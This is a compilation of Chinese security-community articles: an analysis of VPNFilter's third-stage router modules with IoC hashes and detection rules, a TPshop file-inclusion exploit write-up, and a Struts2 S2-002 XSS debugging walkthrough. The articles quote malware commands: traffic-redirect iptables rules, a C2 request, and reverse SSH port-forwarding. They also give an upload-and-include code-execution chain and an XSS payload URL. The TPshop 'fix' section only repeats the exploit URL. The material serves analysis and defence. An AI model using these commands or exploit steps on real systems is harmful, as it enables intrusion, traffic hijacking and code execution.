比如，我们之前注意到被VPNFilter控制的设备会扫描一大段IP地址空间，寻找受VPNFilter攻击者利用方法影响的其他设备。现在我们可以讨论负责这类行为的特定第三阶段模块。
在分析这些扩展模块后，我们得以进一步了解VPNFilter相关的全部功能。
## 三、新增模块
如前文所述，Talos识别出了如下7个新增模块，这些模块极大拓展了VPNFilter的功能：
下文我们会逐一介绍这些模块。
### htpx（端点攻击模块—可执行文件注入）
htpx是VPNFilter的第三阶段模块。该模块与我们之前[分析](https://blog.talosintelligence.com/2018/06/vpnfilter-update.html)的ssler模块共享部分代码，根据二进制文件中的字符串信息，我们发现该模块主要以开源代码为基础。典型的例子为[lipiptc.c](https://git.netfilter.org/iptables/tree/libiptc/libiptc.c)，该代码为Netfilter中的一部分：
图示：htpx（左侧）与ssler（右侧）中的字符串对比
htpx中的主功能函数负责设置iptables规则，以便将流向TCP
80端口的数据转到到本地服务器的8888端口。恶意软件首先加载能够进行流量管理的内核模块实现流量转发，通过insmod命令完成相关模块（Ip_tables.ko、Iptable_filter.ko以及Iptable_nat.ko）的加载。
随后，htpx模块使用如下命令来隐蔽转发流量：
iptables -I INPUT -p tcp --dport 8888 -j ACCEPT
iptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888
恶意模块还会定期检查这些规则是否依然存在，定期执行规则删除代码，然后再重新添加这些规则。此外，该模块还会创建一个临时文件：/var/run/htpx.pid。
之后该模块会生成如下HTTP请求：
GET %s HTTP/1.1rnHost: 103.6.146.194rnAccept: */*rnUser-Agent: curl53rnrn
在我们对htpx模块的分析过程中，我们无法捕获来自C2基础设施的响应数据，因此无法观察其他模块的行为。分信息该模块的二进制文件后，我们发现该模块会检查HTTP通信数据，识别其中是否存在Windows可执行文件。如果满足该条件，则会标记可执行文件并将其加入某个表中。可以肯定的是，攻击者可能会利用该模块来下载二进制载荷，动态修改通过当前控制设备的Windows可执行文件。
### ndbr（多功能SSH工具）
ndbr模块具备SSH功能，也能够扫描其他IP地址的端口状态。该模块使用了dropbear
SSH服务端以及客户端，是dbmulti（2017.75版）的修改版。我们已确定该模块对标准的dropbear功能做了若干修改。
第一处改动位于dbmulti应用中。这款典型的应用可以充当SSH客户端以及SSH服务端角色，能够使用SCP执行数据传输任务、生成或转换密钥，具体功能由程序名或者传入的首个参数来决定。ndbr模块将生成或转换密钥的功能替换为网络映射功能（比如端口扫描）以及名为ndbr的另一个函数。
与原始的dbmulti应用类似，ndbr模块的具体功能取决于程序名或者传入的第一个参数。ndbr可以接受的参数具体为dropbear、dbclient、ssh、scp、ndbr以及nmap。下面我们给大家具体介绍一下这些参数。
DROPBEAR
dropbear命令可以指示ndbr模块以SSH服务器形态运行。原始的dropbear代码使用了默认的SSH端口（TCP/22）来监听传入连接。然而ndbr模块修改了这部分代码，使用默认的TCP/63914端口进行监听。此外，该模块还修改了负责处理主机密钥文件（keyfile）的dropbear代码。默认的密钥文件路径已经修改为/db_key，但ndbr模块并没有释放该文件，而是修改buf_readfile这个dropbear函数，当文件名参数等于/db_key时，就会从内存中直接加载匹配的密钥。
该模块并没有使用基于密码的认证方式，而是修改dropbear服务端，通过匹配的公钥进行身份认证，该密钥同样内嵌在ndbr可执行文件中。修改过的代码中存在一个bug，无法处理使用不正确公钥的连接请求，此时认证失败会导致ndbr
SSH服务端卡死，陷入无限循环中，然而客户端并不知道认证失败结果。此时我们无法获取能够通过ndbr
SSH服务器认证的正确密钥，ndbr模块中内嵌的密钥（比如/db_key以及/cli_key）并不是正确密钥，我们也没有在其他VPNFilter相关应用中找到对应的密钥。
DBCLIENT（SSH）
如果传入dbclient或者ssh参数，ndbr模块就会化身为标准的dropbear
SSH命令行接口客户端，但修改了默认的选项。与dropbear服务端命令所使用的默认密钥文件参数一样，dbclient/ssh命令同样具有默认的标识文件：/cli_key。此时我们并不知道dbclient（SSH客户端）原本想连接的是哪个目的地址。
NMAP
如果传入nmap参数，ndbr模块就会对某个IP或者某段IP空间进行端口扫描，具体命令为：
Usage %s -ip* <ip-addr: 192.168.0.1/ip-range 192.168.0.0./24> -p* <port: 80/port-range: 25-125> -noping <default yes> -tcp <default syn> -s <source ip> -h/--help (print this help)
NDBR
如果传入ndbr参数，那么ndbr模块就会根据传入的其他参数，执行3种操作中的一种。这种场景中SSH命令使用的是前文提到的默认密钥（即/db_key和/cli_key）。
第三个参数必须以start开头，否则ndbr模块就会执行卸载操作。
如果使用如下参数运行ndbr模块：
$ ./ndbr_<arch> ndbr <param1> <param2> "start proxy <host> <port>"
那么就会执行如下dropbear SSH命令：
ssh -y -p <port> prx@<host> srv_ping j(<B64 victim host name>)_<victim MAC address> <param2>
此时dropbear SSH客户端就会连接到某个远程主机，并执行srv_ping命令，该命令很有可能用来在C2服务器上注册受害者信息。
如果使用如下参数运行ndbr模块：
$ ./ndbr_<arch> ndbr <param1> <param2> "start -l <port>"
那么就会运行SSH服务端（如前文所述），开始监听特定端口：
sshd -p <port>
如果使用如下参数运行ndbr模块：
$ ./ndbr_<arch> ndbr <param1> <param2> "start <user> <host> <port>"
那么就会执行如下dropbear命令，开启远程端口转发：
ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>
### nm（网络映射器）
nm模块可以用来扫描和映射本地子网。该模块会遍历所有接口，通过ARP扫描发现该接口对应IP所属子网中的所有主机。一旦收到ARP响应包，nm就会向探测到的主机发送一个ICMP
echo请求。如果收到ICMP echo回复，则执行端口扫描操作，尝试连接该主机的如下端口：9、 21、 22、 23、 25、 37、 42、 43、
53、 69、 70、 79、 80、 88、 103、 110、 115、 118、 123、 137、 138、 139、 143、 150、 156、
161、 190、 197、 389、 443、 445、 515、 546、 547、 569、 3306、 8080或者8291端口。
接下来，该模块使用MikroTik网络发现协议（MNDP，MikroTik Network Discovery
Protocol）来搜索本地网络中的其他MikroTik设备。一旦某个MikroTik设备回复MNDP
ping请求，那么nm模块就会提取出该设备的MAC地址、系统标识、版本号、平台类型、运行时间（以秒为单位）、RouterOS软件ID、RouterBoard模型以及接口名称。
nm模块会检查/proc/net/arp来获取被感染设备的ARP表信息，了解相邻设备的IP地址以及MAC地址，然后获取/proc/net/wireless中的所有数据。
该模块还会执行traceroute操作，首先尝试通过TCP协议连接8.8.8.8:53，确认目的地可达（没有发送任何数据），然后向该IP发送TTL递增的ICMP
echo请求报文。
收集到的所有网络信息保存到一个临时文件中：/var/run/repsc_<time stamp>.bin，该文件的内容如下所示：
该模块中还存在负责处理SSDP、CDP以及LLDP函数的代码，但我们分析的样本并没有调用这些函数，因此上图文件中并没有包含这部分数据。
nm模块会请求3个命令行参数来正常运行，但实际上只用到了第1个参数。与其他几个模块一样，第1个参数为一个文件夹，用来永久保存数据信息。nm模块所执行的最后一个任务是将包含扫描结果的.bin临时文件移动到第1个参数所指定的目录，为VPNFilter主进程的后续渗透操作提供服务。
### netfilter（拒绝服务工具）
netfilter模块需要接受来自命令行的3个参数，前面2个参数并没有使用，第3个参数为带引号的一个字符串，具体格式为<block/unblock> <#
of minutes>，其中# of
minutes代表netfilter在退出之前所需要运行的时间长度，如果用到了block参数，那么netfilter就会将如下规则加入iptables中：
Chain FORWARD (policy ACCEPT)
target prot opt source destination
DROP tcp -- anywhere anywhere tcpflags: PSH/PSH
添加上述规则后，netfilter会等待30秒，然后删除这条规则。如果参数指定的# of
minutes值仍有富余时间，那么就会再次执行这个过程。通过这种添加及删除循环操作，即便设备删除了该规则，这个模块仍可以确保该规则被再次添加。
一旦超过参数设定的分钟数，程序就会退出。netfilter程序开头处会安装信号处理程序，一旦程序收到SIGINT或者SIGTERM信号，就会删除iptables规则然后退出。通过这种方式，如果有人手动结束netfilter程序，设备也能正常工作。
最后，unblock参数用来删除先前block参数所添加的iptables规则。
虽然我们没有在程序中找到其他代码路径，但有迹象表明该模块包含（或者可能包含）其他功能。
第一个线索，Talos分析的不同netfilter模块样本（MIPS、PPC以及Tile-GX）都包含同一个CIDR
IP地址及范围列表（总共168个元素），这些地址与如下公司/服务有关：
31.13.64.51 - WhatsApp
169.44.36.0/25 - WhatsApp
203.205.167.0/24 - Tencent
52.0.0.0/16 - Amazon.com, Inc. (有多个加密应用的IP地址位于这个地址段中，这些应用为Wikr、Signal、Dust以及Confide)
这意味着netfilter模块可能用来拦截对某类加密应用的访问，尝试将受害者的通信数据引到攻击者容易处理其他服务。有趣的是，这份清单中缺少一个非常受欢迎的加密聊天应用：Telegram。
然而，我们无法在代码中找到与这些字符串有关的任何引用。我们分析的所有版本的netfilter样本虽然都包含同样一份IP范围列表，却没有用到这些信息，可能我们收集到的样本并不完整。
netfilter模块所添加的iptables规则会丢弃带有PUSH标志的TCP报文。如果攻击者的目的是使用已控制的设备发起拒绝服务攻击，那么他们可能会使用这条规则来拦截所有报文，而不单单是带有PUSH标志的TCP报文。通常情况下，这类规则对中间人攻击（man-in-the-middle）场景非常有用，可以帮助具备设备访问权限的攻击者拦截中转的流量、修改流量然后再转发流量。这样就可能解释为什么程序中会存在CIDR
IP地址范围。在已分析的所有样本中，我们无法找到这类功能存在的任何线索。
我们可以证实攻击者并没有用到这些IP，可能这些IP是旧版本netfilter模块的遗留信息，也有可能是相关功能尚未实现，或者是我们尚未发现的被恶意软件作者修改的iptables静态链接库。VPNFilter作者之前也修改过开源代码（比如ndbr模块），因此他们也有可能会修改netfilter模块中链接的libiptc代码。
### portforwarding（转发流量至攻击者的基础设施）
portforwarding模块所使用的命令行参数如下所示：
./portforwarding <unused> <unused> "start <IP1> <PORT1> <IP2> <PORT2>"
传入这些参数后，portforwarding模块可以安装如下iptables规则，将来自特定端口及IP的流量转发到另一个端口及IP地址：
iptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> --dport <PORT1> -j DNAT --to-destination <IP2>:<PORT2>
iptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> --dport <PORT2> -j SNAT --to-source <device IP>
这些规则会导致流经已感染设备的、目的地为IP1:PORT1的所有流量被重定向到IP2:PORT2地址处。第二条规则会修改重定向流量中的源地址，将其改为已感染设备的地址，确保响应数据可以回到被感染设备。
为了确保规则切实可用，在安装这些iptables规则之前，portforwarding模块首先会检查IP2的确可用，具体操作是创建连接至IP2:PORT2的一个socket连接，然而关闭socket前该模块并不会发送任何数据。
与修改iptables的其他模块类似，portforwarding模块也会进入一个循环过程，不断添加规则、等待一段时间、删除规则然后再重新添加规则，确保这些规则在被手动删除的情况下，依然可以保留在设备上。
### socks5proxy（在被控设备上创建SOCKS5代理）
socks5proxy模块是一个SOCKS5代理服务器，基于[shadowsocks](https://shadowsocks.org/en/index.html)开源项目开发。服务器没有使用身份认证方案，在硬编码的TCP
5380端口上监听。在服务器运行之前，socks5proxy会执行fork操作，连接至传入参数中指定的某个C2服务器。如果C2服务器在几秒钟内没有响应，则fork进程会结束父进程（原始服务器）然后退出。C2服务器可以返回一些命令，让服务器正常运行或终止运行。
该某块包含如下使用帮助字符串，但这些字符串实际上并非socks5proxy模块所使用的参数，并且无法通过命令行参数来修改这些设置：
ssserver
--username <username> username for auth
--password <password> password for auth
-p, --port <port> server port, default to 1080
-d run in daemon
--loglevel <level> log levels: fatal, error, warning, info, debug, trace
-h, --help help
实际上socks5proxy模块所使用的命令行参数如下所示：
./socks5proxy <unused> <unused> "start <C&C IP> <C&C port>"
socks5proxy模块会验证参数数量是否大于1，但如果输入2个参数则会导致该进程收到SIGSEV信号而崩溃，这表明这款恶意软件工具链的某些研发阶段中的代码质量控制并不理想，或者非常有限。
### tcpvpn（在被控设备上创建反向TCP VPN连接）
tcpvpn模块是一个反向TCP（Reverse-TCP）VPN模块，允许远程攻击者访问已感染设备后面的内部网络。该模块与远程服务器通信，后者可以创建类似TunTap之类的设备，通过TCP连接转发数据包。连接请求由网络设备发出，因此可能帮助该模块绕过某些简单的防火墙或者NAT限制。该模块在概念上类似于Cobalt
Strike这款渗透测试软件的[VPN Pivoting](https://www.cobaltstrike.com/help-covert-vpn)功能。
发送的所有数据包都经过RC4加密处理，密钥通过硬编码的字节来生成，如下所示：
213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347
密钥两端分别为当前连接的端口号（比如58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80）。
tcpvpn模块所使用的命令行语法如下所示：
./tcpvpn <unused> <unused> "start <C&C IP> <C&C port>"
## 四、MikroTik研究
### Winbox协议解析器
在研究VPNFilter的过程中，我们需要确定攻击者如何攻破其中某些设备。在检查MikroTik系列设备时，我们注意到设备上开放了一个端口（TCP
8291），而Winbox这款配置工具会使用该端口来通信。
来自这些设备的流量均为大量的二进制数据，因此我们无法在不使用协议解析器的情况下来分析该协议所能触及的访问路径（根据我们先前了解的情况，网上并没有公开相关研究内容）。我们决定自己开发协议解析器，以便与[Wireshark](https://www.wireshark.org/)等数据包分析工具配合使用，进一步了解该协议的更多信息，这样我们就能设计有效的规则，以便未来在发现潜在的攻击向量时能够阻止感染路径。
典型的攻击向量为[CVE-2018-14847](https://arstechnica.com/information-technology/2018/09/unpatched-routers-being-used-to-build-vast-proxy-army-spy-on-networks/)，攻击者可以利用该漏洞在未通过身份认证的情况下执行路径遍历攻击。在编写适配该漏洞的规则时（[Snort SID:
47684](https://www.snort.org/rule-docs/1-31977)），协议解析器发挥了非常关键的作用。虽然官方已发布了修复该漏洞的[更新](https://blog.mikrotik.com/security/winbox-vulnerability.html)，我们认为专业的安全人员必须能够监控这类流量，以识别其他任何潜在的恶意流量。
此时我们依然能够保证用户的隐私，只要用户使用“安全模式（secure
mode）”来加密通信，或者下载最新版的Winbox客户端（该客户端只会使用加密通道来传输数据）即可。这款工具不会解密已加密的通信数据。我们测试的最新版的MikroTik
CCR固件版本为6.43.2版，该版本会强制使用较新版的Winbox客户端，但这种限制条件只应用于客户端。这意味着我们仍然可以使用自定义的客户端，通过不安全的通道进行通信。因此，我们认为这个Wireshark解析器依然可用，因为攻击者仍然可以投递漏洞利用载荷，无需满足前面提到的安全通信条件。
### 何为“Winbox协议”
Winbox这个名词来自于MikroTik提供的Winbox客户端，用来作为Web GUI的替代方案。
根据官方文档，Winbox是一个小型工具，可以使用快速且简单的GUI来管理MikroTik
RouterOS。这是一个原生的Win32程序，但也可以通过Wine（一个开源兼容层解决方案）运行在Linux以及MacOS上。所有的Winbox接口函数都尽可能与控制台函数靠拢，这也是为什么手册中不存在Winbox内容的原因所在。Winbox无法修改某些高级以及关键系统配置，比如无法修改某个接口的MAC地址。
据我们所知，“Winbox协议”并非官方名词，因为这个名词与官方客户端匹配，因此我们选择使用这个说法。
### 使用解析器
解析器安装起来非常简单，由于这是一个基于LUA的解析器，因此无需重新编译。只需要将Winbox_Dissector.lua文件放入/$HOME/.wireshark/plugins目录即可。默认情况下，只要我们安装了这个解析器，就能正确解析来自或者发往TCP
8291端口的所有流量。
来自客户端/服务器的单条消息解析起来更加方便，然而实际环境中总会遇到各种各样的情况。观察实时通信数据后，我们证实Winbox消息可以使用各种格式进行发送。
我们捕获过的Winbox通信数据具备各种属性，比如：
1、在同一个报文中发送多条消息；
2、消息中包含1个或多个2字节的“chunks”数据，我们在解析之前需要删除这些数据；
3、消息过长，无法使用单个报文发送——出现TCP重组情况；
4、包含其他“嵌套”消息的消息。
在安装解析器之前捕获得到数据包如下图所示：
安装Winbox协议解析器后，Wireshark可以正确解析通信数据，如下图所示：
### 获取解析器
为了帮助安全社区分析这类通信数据，也为了监控可能利用Winbox协议的潜在威胁，思科Talos公开了这款解析器，大家可以访问GitHub[页面](https://github.com/Cisco-Talos/Winbox_Protocol_Dissector)下载这款工具。
## 五、总结
结合我们之前发现的VPNFilter功能以及这次的新发现，我们现在可以确认VPNFilter可以为攻击者提供各种功能来利用已攻破的网络以及存储设备，以便进一步渗透及攻击目标网络环境。
攻击者可以利用该框架将攻击范围扩大到敏感系统，如网关或者路由设备上，以执行类似网络映射、端点攻击、网络通信监控以及流量篡改等攻击活动。VPNFilter还提供了另一个危险功能，能够将已感染的设备转化为代理，利用这些代理来混淆未来的攻击源，使将人们误以为攻击流量来自于先前被VPNFilter攻击的网络。该框架非常复杂，进一步说明攻击者可以利用该框架的各种高级功能，也表明我们需要部署更强大的防御架构来应对类似VPNFilter之类的威胁。
进一步了解VPNFilter后，先前我们未解决的大部分问题已经有了答案。然而，时至今日，我们面对该威胁时仍有一些问题尚未澄清：
1、攻击者最开始时如何获取目标设备的访问权限？
虽然我们认为攻击者利用了已知的公开漏洞来攻破受VPNFilter影响的这些设备，但我们仍然没有明确的证据证实这一点。
2、攻击者是否尝试重新获取访问权限？
基于我们的感知数据以及合作伙伴提供的信息，我们发现VPNFilter已经完全处于静默期，因为我们和国际上的合作伙伴（执法部门、情报机构以及网络威胁联盟）已在今年早些时候成功抵御了这个威胁。这款恶意软件所使用的大多数C2通道已经摧毁。第二阶段植入体不具备持久化技术，因此很有可能已从被感染的设备中清除。我们没有发现攻击者尝试重新连接目标设备的任何迹象（这些设备运行第一阶段持久化载荷，会监听接入请求）。
这是否意味着攻击者已经放弃进入小型家庭办公（SOHO）网络设备空间的这个据点？攻击者是否重新开始，重新攻击并释放未知的恶意软件，重新获取了访问权限？攻击者是否放弃针对全球范围的SOHO访问权限，转而采用跟为针对性的方案，只攻击特定的关键目标？
无论答案如何，我们知道VPNFilter背后的攻击者实力很强，会在任务驱动下不断改进，以实现他们的既定目标。攻击者会以某种形式继续开发任务目标所需的各种工具和框架。
## 六、IoC
a43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc
aac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8
13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605
b81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f
809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a
7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0
81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7
b301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5
99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7
76bf646fce8ff9be94d48aad521a483ee49e1cb53cfd5021bb8b933d2c4a7f0f
e009b567516b20ef876da6ef4158fad40275a960c1efd24c804883ae273566b0
7c06b032242abefe2442a8d716dddb216ec44ed2d6ce1a60e97d30dbba1fb643
f8080b9bfc1bd829dce94697998a6c98e4eb6c9848b02ec10555279221dd910a
4e350d11b606a7e0f5e88270938f938b6d2f0cc8d62a1fdd709f4a3f1fa2c828
f1cf895d29970c5229b6a640c253b9f306185d4e99f4eac83b7ba1a325ef9fb8
8395e650e94b155bbf4309f777b70fa8fdc44649f3ab335c1dfdfeb0cdee44ff
a249a69e692fff9992136914737621f117a7d8d4add6bac5443c002c379fe072
5e75b8b5ebbef78f35b00702ced557cf0f30f68ee08b399fc26a3e3367bb177b
fe022403a9d4c899d8d0cb7082679ba608b69091a016e08ad9e750186b1943dd
116d584de3673994e716e86fbb3945e0c6102bfbd30c48b13872a808091e6bc9
4263c93ce53d7f88c62fecb6a948d70e51c19e1049e07df2c70a467bcefee2c8
5d70e7dd5872cc0d7d0f7015c11400e891c939549c01922bff2bbe3b7d5d1ce3
5c52f115ab8a830d402fac8627d0bfdcbbfd4dcf0e6ad8154d49bb85387893aa
e75e224c909c9ead4cb50cd772f606407b09b146051bfb28015fcbe27b4a5e8d
999f14044f41adfd9fb6c97c04d7d2fd9af01724b3ab69739acf615654abfa43
b118b23a192f372616efe8c2b12977d379ac76df22493c14361587bd1cc8a804
7ba0dc46510492a7f6c9b2bcc155333898d677cd8a88fe0e1ac1ad3852f1c170
83b3dbf7f6bc5f98151b26781fa892fc1a014c62af18c95ae537848204f413b8
fce03f57b3fd3842efac3ce676687794c4decc29b612068e578134f3c4c4296a
1f26b69a353198bb047dde86d48198be8271e07f8c9d647d2f562207e1330a37
1e824654afba03678f8177e065c487a07192069711eeb4abe397010771b463b5
84227f906c7f49071d6598b9035fc785d2b144a6349d0cf7c29177c00db2dc2f
6eb09f805a68b29c9516d649019bea0bb4796e504ca379783455508a08f61087
aa5baa135b2ada5560833747260545d6a5b49558f6244c0f19443dc87c00294d
4c5e21125738c330af1bfe5cabc5f18fa14bbef53805dda2c3c31974555f7ec5
0f3746f273281472e7181f1dd1237f0c9fc26f576a883f42413c759f381006c4
acfc72b8d6611dc9cd6a3f1a4484aa0adfb404ad5faaa8b8db5747b0ff05bc22
fe9c17ac036622b2d73466f62b5d095edda2d3b60fa546a48d0bb18f8b11059f
830091904dab92467956b91555bc88fa7e6bbde514b8a90bb078c8a3bb2f39a9
5a28ad479d55275452e892b799c32803f81307079777bb1a5c4d24477206d16b
8440128350e98375b7eff67a147dfe4e85067d67f2ad20d9485f3de246505a5f
275c4e86218915c337d7e37e7caba36cb830512b17353bf9716c4ba6dceb33ed
b700207c903e8da41f33f11b69f703324ec79eb56c98b22efaeac0a10447ec44
2aa149a88539e8dd065c8885053a30d269be63d41a5db3f66c1982202761aa75
1a11240d0af108720de1a8a72ceadef102889f4d5679c1a187559d8d98143b0b
3b6be595b4183b473964345090077b1df29b0cace0077047b46174cc09c690e1
620c51f83457d0e8cb985f1aff07c6d4a33da7566297d41af681ae3e5fbd2f80
4c8da690501c0073a3c262a3079d8efac3fea9e2db9c55f3c512589e9364e85c
d92282acf3fea66b05a75aba695e98a5ea1cc1151f9e5370f712b69a816bf475
30382c1e7566d59723ff7ef785a1395711be64873dbca6d86691b1f5d86ba29f
我们发布了如下特征及规则以便检测VPNFilter使用的附加模块。
检测ndbr的Snort规则
sid:1:47377:1
Clam AV规则
Unix.Trojan.Vpnfilter_htpx-6596262-0
Unix.Trojan.Vpnfilter_ndbr-6598711-0
Unix.Trojan.Vpnfilter_netfilter-6599563-0
Unix.Trojan.Vpnfilter_nm-6598714-0
Unix.Trojan.Vpnfilter_portforwarding-6599587-0
Unix.Trojan.Vpnfilter_socks5proxy-6599614-0
Unix.Trojan.Vpnfilter_tcpvpn-6606298-0
Unix.Trojan.Vpnfilter-6425812-1
Unix.Trojan.Vpnfilter-6550592-1 | 社区文章 |
### **0x01 前言**
> [TPshop](http://www.tp-shop.cn/ "TPshop")开源商城系统( [Thinkphp
> shop](http://www.tp-shop.cn/ "Thinkphp shop")的简称
> )，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于[ThinkPHP](http://www.thinkphp.cn/
> "ThinkPHP")
> MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。
### **0x02 代码分析**
跟踪到 **/Application/supplier/Controller/Order.php** 中的 **delivery_print** 、
**order_print** 方法
> 531 Line: 从外部获取参数为template的值，默认值为print并赋给$template
> 532 Line: 调用基类中的fetch方法，并将$template传入，$template为模板文件
>
> 512 Line: 从外部获取参数为template的值，默认值为picing并赋给$template
> 513 Line: 调用基类中的fetch方法，并将$template传入，$template为模板文件
>
> 模板参数用户可控，造成本地任意文件包含漏洞，系统没有append方法，所以只有delivery_print方法可以触发漏洞
### **0x03 漏洞探测**
<http://172.16.209.129:8084/supplier/order/delivery_print?template=1>
<http://172.16.209.129:8084/supplier/order/delivery_print?template=1.php>
由上可知当不带后缀名的情况下，程序会自动添加上路径及后缀，当带有后缀的情况下程序不会加上路径
读取一下根目录下的robots.txt
<http://172.16.209.129:8084/supplier/order/delivery_print?template=robots.txt>
### **0x04 漏洞复现**
用户个人资料修改处上传图片
<http://172.16.209.129:8084/Home/User/info.html>
选择一张没有带特殊符号的图片进行上传，加上一句话代码
[http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo(](http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo\());
成功引发了代码执行
### **0x05 漏洞修复**
[http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo(](http://172.16.209.129:8084/supplier/order/delivery_print?template=public/upload/user/4575/head_pic/5989ee42cc5992e64a60c52b0cbb7602.png&w=phpinfo\()); | 社区文章 |
# Struts2-002 XSS漏洞浅析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、原理
### （一）概述
参见[官方通告](https://cwiki.apache.org/confluence/display/WW/S2-002)，特定版本的Apache
Struts中的`<s:url>` 和`<s:a>` 标签会引发XSS漏洞。
读者范围 | 所有Struts 2开发者
---|---
漏洞影响 | 客户端恶意代码注入
影响程度 | 重要
修复建议 | 更新至Struts 2.2.1
受影响的版本 | Struts 2.0.0 – Struts 2.1.8.1
### （二）原理
在返回的页面被渲染时，`<s:url>` 和`<s:a>` 标签存在一定的可能性被注入未被合适转义的参数值。如下面的场景：
* 一个 `<s:a>`标签被建立时，其中的参数值可以注入一个未被转义的双引号，如此则可以通过转义`<href>`标签注入生成的HTML。
* 当`includeParams` 的值被设为非”none”时， `<s:url>` 和`<s:a>` 标签未能转义`<sc ript>`标签，此时相应的JSP/action可能会被恶意的GET 参数破坏，例如`http://localhost/foo/bar.action?<sc ript>alert(1)</sc ript>test=hello`
## 二、调试
### （一）环境搭建
因为要修改源码，短浅的想了想无法直接使用拿来主义，需要自己动手搭建（参考[此链接](https://blog.csdn.net/qq_37012770/article/details/82828099)），可在[官网](https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.33/)下载Tomcat，然后从[此处](http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip)中下载所需要的struts2，。
然后新建Project，Use Library中选择下载好的Struts2的lib。
进入Project Structure->Artifacts，点击下图红框中的那个选项，点击后会成为下图的样子。
接下来准备相关代码文件，首先src下新建struts.xml如下，
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
"http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
接下来修改web.xml如下，
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
选择Build->Build Project。
若正常则点击run，会有如下窗口。
### （二）复现
修改Tomcat Server的URL配置，
run，可得，
可见XSS漏洞复现成功。
### （三）调试
接下来以debug模式运行Tomcat Server，
可见可以在doStartTag处断下。
此时点击调用栈，也可以查看jsp内的流程了，
环境应该好了，可以准备调试Tomcat了。
由之前的学习可知，Struts开始解析jsp里的标签时，会调用ComponentTagSupport.doStartTag()，
此时的compnent为URL类，对应jsp里的url。
跟进this.component.start()，
可以看出，这里会将参数`includeParams`提取出来，为下面的流程做准备，
接下来会进行匹配，此处我们设置的`includeParams`值为all，故而会进入mergeRequestParameters()，
先看看 this.request.getParameterMap()，
多级步入之后，发现是从Request中提取参数，
跟进mergeRequestParameters，
这个函数名已经表示了它的功能，大概就是合并请求的各个参数，
跟进之，此时的Map mergedParams 的size为1，值为`<sc ript>alert("1");</sc ript> ->
1`，这时可以看到程序在读取了参数后，迭代添加到parameters里面去，
步出后，parameters的size为1，
接下来进入includeGetParameters，
这里能看到一点不同，
就是这里的query是urlencode之后的形式，
includeGetParameters这个函数的名字也告诉了我们它的功能，应该是将GET参数也添加进来。
解析标签，还需要调用doEndTag，
跟进end，
此处的一个关键点是determineActionURL，从函数名可以大致猜出，此函数是确定一个action对应出的url的，跟进，
这里面先将login.action的名字添加进去，接下来有一个buildParametersString函数，
因为在determineActionURL内，所以不难猜出这个函数的功能即是将url尾部的参数确定下来，跟进，
走到添加参数的地方，
current是未经url编码的，next是经过url编码的，其间要加一个连接符（或曰分隔符），
最终效果，
步出，
回到URL.end，
接下来就是将url输出。
另外，includeParameters必须为all，不能像官方通告里那样不为none即可，因为从调试过程中我们可以观察到，
若includeParameters为get，则只会进行一次includeGetParameters，而缺少if
all分支中的mergeQequestParameters部分，且在刚才的调试过程中我们看到，includeGetParameters添加进来的参数是url编码过的，要想让页面上有`<sc
ript>xxxx</sc ript>`的字符，还是得有if all 分支中独立的mergeQequestParameters的函数。
## 三、收获与启示
参考链接
[环境搭建1](https://www.cnblogs.com/twosmi1e/p/14020361.html)
[环境搭建2](https://blog.csdn.net/qq_37012770/article/details/82828099)
<https://www.cnblogs.com/twosmi1e/p/14134511.html>
<https://dean2021.github.io/posts/s2-002/>
<https://lanvnal.com/2021/01/05/s2-002-lou-dong-fen-xi/>
<https://cwiki.apache.org/confluence/display/WW/S2-002> | 社区文章 |
# W&MCTF-0RAYS
##### 译文声明
